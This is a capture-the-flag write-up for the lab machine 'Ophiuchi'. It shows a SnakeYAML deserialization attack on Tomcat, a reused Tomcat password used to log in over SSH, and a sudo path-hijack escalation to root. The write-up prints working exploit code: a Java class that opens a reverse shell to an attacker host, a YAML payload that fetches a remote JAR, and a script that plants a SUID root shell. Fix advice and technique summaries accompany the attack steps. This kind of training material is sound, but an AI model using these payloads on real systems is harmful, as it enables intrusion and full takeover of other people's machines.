Ophiuchi
Summary
Target Ophiuchi ($TARGET) ran Apache Tomcat 9.0.38 on port 8080 hosting a Java-based 'Online YAML Parser' built on the SnakeYAML library. The application's live parsing endpoint at /yaml/Servlet accepted my own YAML that exploited SnakeYAML's unsafe type-coercion to load a malicious Java provider JAR from me-hosted server, delivering a reverse shell as the Tomcat service account.
A plaintext Tomcat manager password stored in the on-disk configuration file was reused unchanged as the SSH login password for the local OS account 'admin', collapsing the application–OS boundary and yielding the user flag. A passwordless sudo rule allowed 'admin' to execute a Go program that loaded a WebAssembly module and a shell script by bare filename rather than by absolute path; planting my own replacements in a writable directory and invoking the sudo command from there caused the Go program to run an arbitrary shell script as root, producing a SUID root shell and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p22,8080 $TARGETcurl -si http://$TARGET:8080/curl -si http://$TARGET:8080/yaml/curl -si --data-urlencode 'data=foo: bar' http://$TARGET:8080/ServletExact commands 6
mkdir -p /tmp/ophiuchi/src/artsploit /tmp/ophiuchi/classes/META-INF/servicescat > /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java << 'EOF'
package artsploit;
import javax.script.*;
import java.util.List;
import java.io.IOException;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try { Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"}); } catch (IOException e) {}
}
public String getEngineName(){return null;} public String getEngineVersion(){return null;}
public List<String> getExtensions(){return null;} public List<String> getMimeTypes(){return null;}
public List<String> getNames(){return null;} public String getLanguageName(){return null;}
public String getLanguageVersion(){return null;} public Object getParameter(String k){return null;}
public String getMethodCallSyntax(String o,String m,String... a){return null;}
public String getOutputStatement(String s){return null;} public String getProgram(String... s){return null;}
public ScriptEngine getScriptEngine(){return null;}
}
EOFjavac --release 8 -d /tmp/ophiuchi/classes /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java && echo 'artsploit.AwesomeScriptEngineFactory' > /tmp/ophiuchi/classes/META-INF/services/javax.script.ScriptEngineFactory && cd /tmp/ophiuchi/classes && jar cf ../yaml-payload.jar .cd /tmp/ophiuchi && python3 -m http.server 8000 &nc -lvnp 4444curl -sS --data-urlencode 'data=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://$ATTACKER_IP:8000/yaml-payload.jar"]]]]' http://$TARGET:8080/yaml/ServletFixDisable SnakeYAML global-tag type instantiation in the YAML parser servletCritical
Exact commands 1
cat /opt/tomcat/conf/tomcat-users.xmlFixEliminate cleartext credentials from Tomcat configuration files and enforce unique passwords per accountCritical
Exact commands 1
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null admin@$TARGET 'id; cat /home/admin/user.txt'Exact commands 2
sudo -lcat /opt/wasm-functions/index.goFixRemove the NOPASSWD sudo rule for the Go WASM program, or replace relative file paths with absolute paths owned by rootCritical
Exact commands 6
mkdir /tmp/wasmrootprintf '(module (func (export "info") (result i32) i32.const 1))\n' > /tmp/wasmroot/main.watwat2wasm /tmp/wasmroot/main.wat -o /tmp/wasmroot/main.wasmprintf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /tmp/wasmroot/deploy.sh && chmod +x /tmp/wasmroot/deploy.shcd /tmp/wasmroot && sudo /usr/bin/go run /opt/wasm-functions/index.go/tmp/rootbash -p -c 'id; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache Tomcat (language: en) |